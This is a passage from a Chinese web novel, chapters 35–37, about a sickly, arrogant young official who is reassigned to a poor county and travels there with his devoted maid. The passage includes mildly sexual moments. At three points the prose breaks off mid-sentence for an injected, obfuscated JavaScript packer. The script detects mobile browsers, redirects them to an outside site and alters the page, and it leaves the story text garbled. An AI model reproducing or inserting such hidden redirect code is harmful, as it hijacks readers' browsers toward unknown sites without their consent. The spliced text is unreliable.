李兰钧当然晓得她在说好话，眼神不轻不重地扫过她的脸庞，从牙缝里挤出一个“嘁”字，“胡说八道，讨嫌。” 叶莲忍笑用手捂着嘴，以防他瞧见自己笑呵呵的欠揍模样，在南园换着花样折腾报取笑之仇。 35. 巧遇 夜凉如水，街头越是入夜越是热闹，东朝楼临水而立，垂纱放帐的高楼边拔起一株绿荫婆娑的柳树，足有半楼之高，树下方圆数里内支了不少摊铺，其中一挂着雕花灯笼、精绣团扇的尤为醒目。 摊铺为女子所营，摆卖的物品皆为手作，且个个不重样，摊前里三层外三层围了几圈人。 李兰钧对平民百姓的用物不大有兴趣，看了一眼便转过头，百无聊赖地把玩着腕上的长命缕。 二人在东朝楼门口等了冬青半晌，没成想自家马车未至，却等来了一位不速之客。 一架质朴无华的马车正正停在他们面前，随后里面走下来一位长脸细眼的常服男子，他甫一站稳就振振袖子，四下张望一番，这才看到楼前的李兰钧。 寒酸至极的装束，又顶着一张比拉车老马还长的脸……不正是李兰钧的同僚兼上司，通判杨遂吗？ 李兰钧忍着翻白眼的冲动，隔着车马朝他略作一揖：“杨通判。” 叶莲的眼神也跟着追随到杨遂身上，只见杨遂看了李兰钧一眼，并不予以回应，反而朝马车里探头探脑。 再看李兰钧的面色，果然成了绿油油的菜地。 他干脆别过眼，装作无事发生般看向河岸边，那卖灯的摊铺前人少了些，架上粉扇面衔柳花样的团扇孤零零摆放着，与铺面的团扇相比，颇有鹤立鸡群之风范。 “去那儿瞧瞧。”避免跟杨遂打照面，李兰钧决定屈尊去看看树下那穷酸小摊。 叶莲颔首，跟着他走到摊前，期间一回头，见马车里踏出一名粉雕玉琢的女子，杨遂小心翼翼地把着她的手下马车。 “这东西……多少钱？” 李兰钧已经用品头论足的眼神打量那把团扇了，他皱眉看了一会儿，勉为其难地问道。 摊贩听他语气不善，懒懒抬起头瞥他一眼，又低下头去摆弄灯笼。 不知摆弄了多久，她才开口道：“十两。” 叶莲瞪大眼睛，一度以为自己听错了。 扬州虽是富庶之地，但还没到下银子雨的地步，无名无姓的摊铺上，一把团扇竟要价十两？ “出自哪位名家之手，开口就是十两。” 李兰钧同样提出质疑，他本身骄纵跋扈，语气表情都带着讨嫌的味道。 摊贩腾出手把扇面翻转一面，飞燕衔柳的绣花另一面竟是黄蝶驻竹叶，两面互不沾染，各成一派景色。 “双面绣，就值这个价。”摊贩傲慢地表示，又低下头修理灯笼。 叶莲左右看了几眼，团扇虽精巧别致，她心底却觉得实在觉得不值。 “我买了。”李兰钧忽略摊贩的态度，从钱袋里扔出一锭薄花细银。 十两银子于李兰钧就是洒洒水的事，他此行主要是躲杨遂那个瘟神，买个小物件旨在顺手。 “少爷，是不是有些贵了……”叶莲小声在他耳边劝道。 “贵在哪儿？不过一把扇子，买下就买下了。”李兰钧满不在乎地回她。 叶莲只好点点头，应道：“是……” 恰好摊贩修理好了灯笼，她不紧不慢地挂在架上，才去看李兰钧丢下那块银子。她看了看银子，又抬眼看了看李兰钧：“十五两，我又改主意了。” “你你你……你这个奸商！”叶莲听罢，没等李兰钧开口，便先指着她的鼻子斥道。 “哪有这样定价的，不能看我家主子手头阔绰，就胡乱开价呀！” 叶莲生恐李兰钧当街翻脸，一边骂一边朝摊贩挤眉弄眼。 一直未置一词的李兰钧伸出手拉住叶莲，将她扯到身后，咬牙切齿地问：“你到底卖是不卖？” “卖，只卖有缘人。”摊贩一身粗布衣裳，嘴却硬气得很。 眼见李兰钧有掀摊毁物之势，叶莲硬着头皮又凑到二人中间，充当和事佬：“姑娘，不然你卖给我吧，我出钱买。” “你？你的钱不就是他的钱，你我也不卖。”摊贩软硬不吃，好像巴不得李兰钧将她的小摊砸个稀巴烂。 叶莲忙不迭回过头，挡在摊前眨着一双溜圆的眼睛看着李兰钧，就差开口求饶了。 “少爷，别生气呀……” 她用只有他们二人听得见的声音低语，细声细气地哄着。 李兰钧看眼前小丫鬟双手合十作拜托状，气性仍旧难消，他将她的手腕一拉，让她退到一旁去，仰着头走到摊前正欲伸手。 “姑娘看我合不合眼缘，卖我可行？” 剑拔弩张之际，有男子拨开渐聚的人群朗声道。 李兰钧铁青着脸回头，果然见杨遂携夫人走到摊前，面上端着和煦的笑容。 天不遂人愿，他都躲到摊铺中了，却还是无意招来这位瘟神。 “通判大人？”摊贩的语气转了十八个弯，竟然恭敬起来。 想必是杨遂长了张让人难以忘怀的马脸，小贩都记着他的相貌。 李兰钧不免在心里暗自贬低道。 “您若是要，白送也成。”摊贩一直板着的苦瓜脸终于舒展开来。 “给他就白送？我看你方才大义凛然的样子，还以为是个有脾气的侠士，如今看来只是看人下菜碟，未免也太会奉承了些。” 杨遂还没来得及接她的话，李兰钧就抢先冷笑道。 他开口即是阴阳怪气，一张嘴像漼了剧毒般尖酸刻薄。 “哈哈，贤弟说话真是十分辛辣。”杨遂不怒反笑，表现出他的大度做派。 李兰钧阴沉着脸，并不搭腔。 “通判大人于我有恩，便是要一整个摊子的物件我都给，”摊贩眼珠一转，看着李兰钧又变了个脸色，“反倒是你……千金不卖。” “你……！” “好了夫君，是人家先来的，我们就不要夺人所爱了，”一旁静静等候的杨夫人温声开口，她扯扯杨遂的衣角，再看向摊贩时面上带着微笑，“许姑娘，这位公子既然说要买，定是欣赏你的手艺的，或许只是嘴上的话不中听，大家和气为贵，不要砸了自己的招牌才是。” 杨遂闻夫人开口劝和，自然没了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447860|165482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后话，笑眯眯地顺着她的话道：“夫人说的是，我就不凑热闹了，二位随意？” “这扇子有天大的好，李某无福消受，通判大人自便。”李兰钧向来不知退让为何物，出口即是满嘴刻薄。 他说罢，气愤地甩甩袖子离去，叶莲左瞧右看，亦步亦趋地走到他身后。 “世上竟有这样不通情理之人，果然是不知天高地厚。”杨遂冷哼一声，在背后啐道。 “夫君，方才那位是……？”杨夫人难得见他失态，好奇地问。 “知府大人的三子，如今在府衙当差，还是我麾下的幕职官。”杨遂收了脾气，转头跟她仔细说明。 杨夫人听罢，慢慢用手帕掩住嘴，吃惊道：“那不是……夫君说过的故人？你们竟有如此的缘分。听闻三公子身体孱弱，方才一看却瞧不出什么来，比常人还跳脱几分呢！” “他啊，就是个活阎王。吊着口气还能上蹿下跳的，满城除他无二了。” 杨遂一说到李兰钧便是深深的嫌恶，恨不得踩上几脚心头才舒畅。 这边活阎王已坐上马车，咬牙切齿地瞪着帘边露出半面的冬青。 “回府报个信而已，耽搁了如此久？” 李兰钧引出话头找时机训斥他。 “老爷夫人叮嘱了许多要事，奴婢这才晚到好久。”冬青老实交代道。 “什么要事？” 冬青顶着他的恶视，讪讪开口禀报事宜：“老爷说近日在安排您升迁之事，让您静候着。夫人那边……骆小姐来信，入秋后就抵达扬州回府了。” “去岁即说要回来，一拖再拖，又变成入秋，她莫不是做道姑有了瘾，想承袭那破道观的衣钵了！” 前一句李兰钧没当回事，他爹要纵横谋划的事情，向来缓慢如虫蠕。而后一句事关婚姻大事，李兰钧登时就来了怨气，半是迁怒半是不满地怒斥道。 “骆小姐身体娇弱，说不定是耐不了酷暑……待她秋日归来，府上就可开始操办嫁娶之事了，也了了少爷的一桩心事不是？”冬青见他正在气头上，忙婉言安慰道。 却不知马屁拍到了马腿上，惹得李兰钧更是烦躁：“这又是我的哪门子心事？满城尽知我急着将自己推售出去，连你也这样认为么！” “奴婢失言，请少爷息怒！”冬青垂首认错，面色一片惨白。 车厢内没了声音，半晌才飘出来一个气若游丝的“滚”字。 叶莲坐在车架上，听完他们的对话后微微一顿，收敛情绪低头去看踏出不少灰土的马蹄。 兴尽而归，一路上零星几个行人，马车行在宽敞的道上，车轮压在地上摩擦出沉闷的滚轮声，除了蝉鸣几乎没有其余声响，车厢里的人沉默，车厢外二人更是一片寂静。 正头娘子就要回来了，她这个没名没分的小丫鬟既不是通房，又不是妾室，在南园却成了众人皆知的“暖床丫鬟”，位置实在是尴尬至极。 叶莲勾起指头一下一下地抠着，那些惬意温情散去过后，她又变得十分惶恐起来。 36. 调令 骆家小姐的车马还没至府门，知府大人下的任职文书就抢先一步到达南园。 李兰钧在府衙待久了，恶习渐渐显露，他索性倦得伪装，每日不是晚到就是早退，一有头昏脑热更是三天两头告假在家，把杨遂这个顶头上司当作摆设。 二人争锋相对已成了家常便饭，从案牍政务到家长里短，一丁点小事就能引经据典扯到老远，搞得府衙鸡飞狗跳，众人听他们的阴阳怪气竟成了必经之事。 六月中旬，李兰钧因头风症在南园休整，知府大人却连下三通急令，直言抬也要把李兰钧抬到府衙听命。 李兰钧不胜其烦，只好拖着一众家仆浩浩荡荡地赶到府衙，随后便接到他爹的一纸调令：扬州试衔判官李兰钧，兼知蒲县事。 一直担着试衔名头的李兰钧，终于拿到了正式官职——蒲县知县。但是他本人却不乐意，对着那张白纸黑字的调令缓缓吐出几个字：“我不去。” “蒲县知县空置数年，你此行一趟，对日后政绩考核有大用处，何况盖了官印，由不得你胡闹。” 李肃早知他的德性，规劝中带着些许不容置喙的沉稳。 “穷乡僻壤，不知要舟车何时才至，我这身子骨还没到就要散架了！” 李兰钧自小没出过远门，即便心中有对外界的期待，娇贵秉性也盖过了那点好奇，他索性将脸一横，看也不看李肃忿忿道。 “蒲县路程不远，半日即可到达，你回南园收拾收拾，过两日启程吧。”李肃全然不理会他的反抗，用公事公办的语气说道。 厅中静默半晌，李兰钧企图用无声的抗议驳回他的这纸调令，李肃虽言语上苛刻，心底却还是十分心疼他这个三儿子的，眼看硬的不行，他又放下姿态继续道：“兰钧，你自幼身子欠佳，高人放言你活不过二十，又被你母亲和几个姨娘娇养坏了，养成这样个德性更是我这个父亲的失职。 从前只想着让你顺遂一生，即便是酒囊饭袋之徒，至少不行恶事也成，可眼瞧着你就要这样草率过去了，我又实在是不忍心，这才着急忙慌地开始张罗你的官差，你不要怪父亲，这也是无奈之举……” 李兰钧缓缓转过头，看不出眼中情绪，他的腿脚站得有些麻木，往前走了两步缓解，盯着案上成堆的文书公案，轻叹一声道：“儿子不敢，这便回去准备。” “去吧，杨遂说你公文处理得当，知县职责繁重，让我看看你的本事，也当作磨勘了。”李肃放言，挥挥手让他打道回府。 杨遂向来与他争执不休，竟也会说两句人话了。李兰钧如丧考妣地走出设厅，一通对话下来，除了得到杨遂不知真心假意的夸奖，其余还是一成不变。 他一只脚刚踏出府衙大门，冬青就打着伞盖在他头上，日头正盛，仆从们张罗着手巾熏香，比他自己都爱惜他的身子。 “少爷，今日风大，得加紧些上座，不然头又得疼了。”冬青将伞往风吹处一挡，遮住大片暖风。 李兰钧没心情搭理他，三下五除二上了车，掀帘入座。 车厢内叶莲正围着冰盘，用蒲扇轻轻扇着风，闻他进来，便退到角落给他腾出位置。 隔绝了外界的燥热，满室温凉，李兰钧走这几步生出的薄汗渐渐消散，换而来的是抚平烦闷的清凉。 “冬青。”他方才坐稳，就朝帘外唤道。 车帘掀起一角，冬青的脸甫一现出，车外的炎炎热风也跟着涌入，他尽量只揭开小片，语气有些急促：“少爷，怎么了？” 李兰钧张口欲说，又在嘴边回转几次，心情复杂地吩咐道：“回去收拾行李，过几日随我去蒲县。” “蒲县？”冬青有些讶异，继续发问，“少爷，咱们要去多久啊？” “你问我，我倒也想问……能带上就都带上吧，也不知要待多久。”李兰钧看上去比他还迷茫，捏着眉心淡淡道。 冬青颔首放下车帘。 李兰钧一进车厢来，唉声叹气不绝于耳，生生把昔日嚣张跋扈的刻薄相，叹成了命比黄连苦三分的衰相。 半分趾高气昂的脾性都磨没了。 “少爷，您要出远门么？” 叶莲摇着蒲扇，试探着问。 李兰钧从愁闷中抬起脸，似有若无地扫了她一眼，又埋着头看地板：“嗯。” 在这声答应间，还夹杂着一声叹息。 “那要奴婢帮着收拾么？出远门要带的物件定然很多，奴婢怕冬青管事一人忙不过来……” 叶莲没听见自己的着落，有些着急地开口，还补上一句多余的解释。 李兰钧不说要带她，她是万万不敢求着去的，但若是不带她，她又怕被淡忘而疏远了。 总而言之，她想跟着去，但要李兰钧开口。 “也行，你就一起收拾吧。”李兰钧顺嘴答应。 叶莲苦兮兮地颔首答应，手下扇风都快了几分。 或许是李兰钧实在没心思琢磨她的想法，就算叶莲顶着一脑门“带我去”，他想必也不会多参透一些。 而后数日，叶莲不仅要照顾李兰钧的吃食，还要帮着冬青收拾行囊，更要闲暇之余暗戳戳表达要跟着去的决心。 可谓是分身乏术。 送早膳时，叶莲费尽心思做了一道莼菜鲈鱼羹，鱼羹鲜美，莼菜爽口，李兰钧却只囫囵吃了几口，食之无味。 她本不知这道菜的深刻含义，这所谓莼鲈之思只是在村头那个疯说书那里听来的，说书的崇尚高雅之风，叶莲崇尚识字之人，他说的话全都奉为金科玉律，一字不差记了下来。 这一记下来就派上了用场，不过作用于李兰钧身上微乎其微，李少爷接到调令后就丢了魂，整日像个入定僧人，谁唤都不答应。 “少爷，鱼羹不合胃口么？” 叶莲卯足了劲要跟他搭上话，硬着头皮问。 “唉，再合胃口，过几日就吃不上了……” 李兰钧一句三叹，作伤春悲秋之态。 叶莲赶紧接道：“怎么会吃不上，奴婢日日给少爷做，让您每日吃得不重样！” 书房一片寂静，李兰钧的神思似乎又飘到了九霄云外，他盯着毛笔尖良久，直到墨迹浸透宣纸，晕染一大块污痕，拿笔的手才缓缓抬起，让笔尖悬在半空中。 “少爷？”见他没反应，叶莲开口唤道。 “嗯？” 李兰钧如梦初醒地抬头看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461126|165482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她，眼中空洞洞无任何波澜。 想是他一丁点都没听进去。 “奴婢、奴婢，”叶莲绞尽脑汁，勉强想出个干巴巴的问题，“奴婢听说莼菜鲈鱼有特别的讲究，想问问少爷是何意思？” “你成心捣乱来了？” 李兰钧对她的问话有了深深的误解，没好气地反问道。 “……”叶莲见他面色不快，只好打住了后话，“奴婢知错了。” 李兰钧扬起另一只手，小指一侧有误沾染上的浅淡墨痕，他的脾气又急转直下，变成了无可奈何：“我不想罚你，你下去吧。” “奴婢……”叶莲踌躇着不愿离开。 她同冬青收拾东西时，听闻李兰钧只带了家丁十名，侍女五名，和两个嬷嬷、伙夫，林檎、辛夷和她都留守南园。 偌大个南园，要留人管束下人、打理账目、顾看铺面，她们三人年纪轻轻，正是脑袋灵光的年岁，差错失误较嬷嬷更少，所以自然而然留下了。 这是冬青给她的原话，叶莲却不想留下来，她勉强能做的只有管束下人，其余都未接手过，定是做得一塌糊涂，与其留下跟其他二位共事，不如死皮赖脸地待在李兰钧身边。 “奴婢能跟着一块去吗？” 等不到李兰钧开口，她就只能自己主动去争取了。 李兰钧扬起的手微微一顿，随即蜷缩起来，他转头看向叶莲，不知是没听清还是反问：“你说什么？” “奴婢说，”叶莲紧张地咽了咽唾沫，复述道，“能否同少爷一起出远门……” “不能。” “为什么？” 不等他继续说下去，叶莲就迫切地追问道。 李兰钧搁置了毛笔，将身子往椅背上靠，他再次看向叶莲，眼中十分不解：“你去那地方做什么？他们个个生怕跟着我走，你反倒上赶着来求我？” “奴婢……奴婢去给少爷做饭，或是其他的奴婢也会做，洗衣、打扫、置办缺物……”叶莲磕磕巴巴地回他，一双眼睛闪烁个不停，“少爷此去不知何时归来，奴婢想跟着去照顾您。” “若我偏不要你去呢？”李兰钧反骨上来，任她说了不少好话也不松口。 叶莲咬咬唇边，无助地望着他：“少爷……” “蒲县乃贫苦之地，我去那里尚无好地处落脚，怕是只能住茅屋吃糠菜，你真要跟着去吃苦头么？” 李兰钧见她执意要去，出口提醒道。 “奴婢愿意吃苦，奴婢愿意的！”叶莲笃定地点点头，仿佛是什么山盟海誓似的，让她下了好大的决定。 “平日里让你往东你不敢往西，今日是怎么回事，一定要同我对着干？” 李兰钧话是斥责之话，语气却是带着淡淡的笑意，前几日失了的魂魄被她一声“愿意”招了回来，面上又是得意又是无奈。 “舍不得我？” 他忽然没个正形，嘴角牵起一抹笑，眉眼微弯望进叶莲眸中。 她怕他遗忘，怕他弃她如敝履，一想到长久不能见面，更是惴惴不安。 如若这是舍不得，那她的确如他所言，十分舍不得他离自己而去。 “是。” 37. 赶路 李兰钧一时失了态，对她那句沉重的“是”字半晌没作出回应。 叶莲见他神色几经变幻，那散漫的举动渐渐收敛起来，羽睫微微颤动，他面上有许多变化，嘴上却迟迟不见开口。 他的耳尖似乎红了。 “你可别后悔了。” 李兰钧哑然数次，最终吐出苍白的一句话。 叶莲紧接着点点头，明确告诉他：“不后悔。” 他避开叶莲有些炙热的眼神，转而去看案上那张胡乱书写的宣纸，提起笔写了几个大字，又不满意地涂改划去。 “去收拾吧，夜里不必来侍奉了。” 叶莲站在他身边，只能看见他墨色的鬓发遮住部分侧颜，高挺的鼻梁下薄唇轻抿，不知在思索什么要事。 她走后，思索要事的李兰钧才从宣纸上抬起头，眼睛紧盯着那道形只影单的背影，直到身影消失为止，他也仍在注视着她消失后的周遭景色。 原本不打算带着她去的，山穷水恶是磨练他的难关，他只想早早去早早回，牵挂太多反倒麻烦，便留她在南园轻松片刻。 是她自己要去的，好像怨不得他。 李兰钧郁闷的心情有了些缓和，远赴陌生之地，能带上个体贴人然是上佳，何况是体贴人央求着去的，更显得他颇有风度，推拒不成无可奈何才接受了。 他从胸口衣领处摸出一方手巾，手巾原本的皂荚味被他经年累月的熏香覆盖，再凑近闻都闻不到任何属于叶莲的气息。 这方手巾承载了太多他的情欲，午夜梦回，凑到口鼻之间的软丝，薄汗与口息混合吐露到手巾上，还有一声又一声的沉吟。 她明明近在咫尺，也曾说过愿意奉献，可自己的手指停留在胸骨上时，却只想着她这么瘦，胸口像一片未开垦的荒地似的，半分不见丰盈。 臆想中如艳妖的少女，会趴伏在他身上轻轻吐着热气，会任他摆布着一切，但在现实中，她的言语，她的眼泪，似乎比任何引诱都更让他心动。 李兰钧实在不太明白这样的情愫，或许比起吻她的唇，抹去她的泪珠才是自己真正想做的，他对她这样的好，也归为所谓有意思么？ 也许是这样的吧。 她是他喜欢的东西，呵护自己喜欢的东西也并无错处。 翌日。 清早晨露浓重，在抬头望不见前路的时段，南园已开始忙活起来，众人将李兰钧的行李装车上马，杂七杂八的东西一堆积，足足有五架马车之多。 再伙同随行的仆役，他就任蒲县的车马竟有八架，沿着街道招摇过市，不知情的还以为去哪家提亲。 李兰钧七荤八素地坐在车厢中，一会儿说要停下来休整，一会儿又差遣人去买柑橘，磨蹭半天，浩浩荡荡的一行才出城门没几步脚程。 “到哪儿了？”他坐不住似的，用折扇掀起窗帘往外看去。 车外花红柳绿，宽广的车道扬起数层灰土，扑腾着往车厢内钻，他没看几眼便赶紧放下窗帘，打开折扇嫌恶地扇了良久。 “少爷，咱们方才出城门，还在官道上呢。”冬青在车外朗声回道。 李兰钧一听，皱着眉哼出一声叹息，支在窗边撑着头不语。 叶莲跪在座边勤快地扇着冰气，间隔一段时候后又去剥油绿的柑橘，好让整个室内不太闷热也能保持着清新的环境。 “莲儿……”李兰钧才消停一会儿，白着脸唤她。 叶莲放下手中事物，端起铜盆上前回：“少爷，是想吐么？” 李兰钧点点头，待她凑近后又摇摇头。 “吐不出来，你叫车夫走慢些，我难受。” 他阖着眼道，呼吸有些急促而浅显，平日里泛着粉意的唇色也煞白如霜。 叶莲于是又放了铜盆，走到车帘对外吩咐道：“能否再慢些，少爷身子不适。” 车夫应了一声，果然就慢了下来。官道虽比乡间小路平整，但比不上城中石路，颠簸乃是常事，偏偏李兰钧身娇肉贵，半分受不住。 走走停停不知几道，李兰钧因晕吐不止，下车用水净了面、漱了口，一副快被折腾得没气的模样，叶莲和冬青合力将他带上车，他就倚在窗边沉着眼皮小憩。 “莲儿，你过来……” 李兰钧没睡多久，便开口唤她。 叶莲躬身走到他面前，他掀起眼皮看了一眼一旁的轻红软座，示意她坐在自己身侧。 叶莲乖乖坐在座上，李兰钧慢慢直起身子，活动了麻木的手腕，才往她身上靠去。 此行的马车比以往的更宽敞一些，他凑近的头并未落在她肩上，而是往下沉沉靠在双腿之上，用侧脸贴着她的下裙，勉强躺下休息。 这样的姿势比起撑着头舒适许多，李兰钧挪动了几下，找了个合适的位置便合眼睡过去了。 叶莲手里拿着蒲扇，一手扇风一手护住他的头，就这样在颠簸中维持着片刻平静。 因行路缓慢的缘故，一行人并未在半日之内抵达蒲县，所以只得在天黑之前找个客栈住店休息。 正巧附近有个小镇，镇中唯一一家客栈还能容下这么些人，便在此地暂且落脚。 李兰钧几乎被架着下了车，叶莲拖着快没知觉的双腿勉强跟在他身后，李兰钧由冬青与另一名侍从搀扶着走入客栈。 客栈规模不大，甚至看着有些老旧，旌旗飘扬在门前，几个硕大的酒坛摆放在一边，门前还有几张桌椅，马厩拴着一匹瘦弱的老马。 入内有零散的几人在喝着酒，掌柜笑眯眯地迎上前给李兰钧带路，二楼被他包下了，所以最敞亮上乘的那间房自然而然属于他。 李兰钧烂泥似的被放在床上，木床不比南园，甫一躺上就硌得他清醒了一半，他翻来覆去几道，没找到舒适的位置，只好撑着双手坐起来，面色烦闷。 冬青见他神情不快，忙凑上前问：“少爷，身子不适吗？” “床板比石头都硬，叫我怎么休息？” 李兰钧用手叩叩床板，只听几声清脆的击木声。 “奴婢这就去抱两床被褥来铺上。”冬青颔首道，脚下生风般走了出门。 李兰钧空出眼神打量四周，只觉得一室的穷酸味，桌椅摆件、屏风床榻，没一件让他满意的。 他知道小地偏远艰苦，倒没想到如此让他难以忍受。 身下坚硬的床板坐得浑身难受，粗糙的薄被和垫布更让他不知如何下手。 “少爷，奴婢给您擦擦脸。”叶莲端着木盆入内，声音轻缓。 她将木盆放在床旁的四脚桌上，拧干巾帕后又摊开，叠成整齐的四方状凑到李兰钧脸边，从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15470816|165482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下颌开始逐渐往上擦拭着。 巾帕应是她自带的，柔软细密，带着丝丝清淡的皂荚香，李兰钧闭着眼任由她擦拭，直至整张脸都被清洗干净。 叶莲擦完脸，又把巾帕换洗一遍，拉起他的手一点点擦净，从指尖到手臂处，细致入微。 “我想喝粥了。”李兰钧从困顿中忽地开口，掀起眼皮看向叶莲。 “好，奴婢去跟他们借下厨房，给少爷煮粥喝。” 叶莲并未回望他，一门心思只扑在他的手上。 “我不吃肉，只想喝青菜粥。” 李兰钧又嘱咐说。 “明白了，少爷在房里好好歇息，待做好了奴婢再来叫醒您。”叶莲擦好手，抬起脸看他，语气平静温和。 “那还是不要叫醒我好了，我醒了再吃。” 李兰钧被她一通伺候，忽然涌上困意，沉着眼皮回绝道。 叶莲将巾帕放入盆中，微笑着应他。 而后冬青进来给他铺了两层褥子，李兰钧这才勉强躺在床榻上入睡，但一觉睡得属实不太安宁。 梦里他到了县衙，搬到一座茅屋之中，每日坐牛车上值处事，下值后茅屋竟然被狂风吹散了，屋里什么都没有，连等他回家的小丫鬟一道被吹走，只留给他一片空地。 李兰钧撵着狂风跑了数里地，结果那风将头一转，滚滚浓云之中显现出一张奸诈的马脸，杨遂发出"桀桀桀"的奸笑，踏着黑云把叶莲像鸡仔似的拎走了。 他紧赶慢赶，连片衣角都没抓到。 扑面而来一阵凉风，李兰钧蓦地睁开眼，只见叶莲撑着手蹲在床边，手上拿着一把蒲扇正徐徐给他扇着风。 李兰钧：“……” “少爷，奴婢把您吵醒了吗？” 叶莲做好了菜粥，接替冬青在床边才坐了一会儿，见李兰钧大汗淋漓，便找了蒲扇给他扇风，没成想没扇几下，李兰钧就一脸戚然地睁开了眼。 李兰钧负手擦了擦鬓边的冷汗，摇摇头。 “水……”他哑声道。 叶莲赶忙放了扇子给他端来一碗凉水，李兰钧坐起靠在床头，接过那只灰土碗时，犹豫片刻后才饮下。 干涸的咽喉有了缓解，他清了清嗓子，环顾四周问道：“冬青呢？” “去吃夜饭了，很快就回来。” 被下中衣已湿透了，粘着身子好不舒服，李兰钧烦躁地抹开额边被汗湿的乌发，一把掀开盖在身上沉重的被子。 不知是否是郁气淤积，雪白的亵裤之间支棱起一片突兀，因着汗湿的缘由，布料紧贴着皮肤，那处的风景更是明显了。 李兰钧这才后知后觉感觉到身上的异样，不过有人却先他一步瞧见，叶莲飞快地眨巴着双眼，面上升起绯红一片。 少爷忽然掀起被子，她蹲坐在床边，转头看去能看到的位置自然只有……下身。 饶是她不知那里到底是何物，直觉和李兰钧霎时的僵硬也告诉她，此物好像不可言说。 李兰钧做贼心虚般猛地盖上被子，指着叶莲的鼻尖涨红了脸：“你你你你……” 叶莲则惶恐地看着他的指头，室内弥漫着尴尬的气息，而她也不知是不是自己的过错，如果不小心看了不该看的也是错的话，那她的确—— “奴婢知错了！”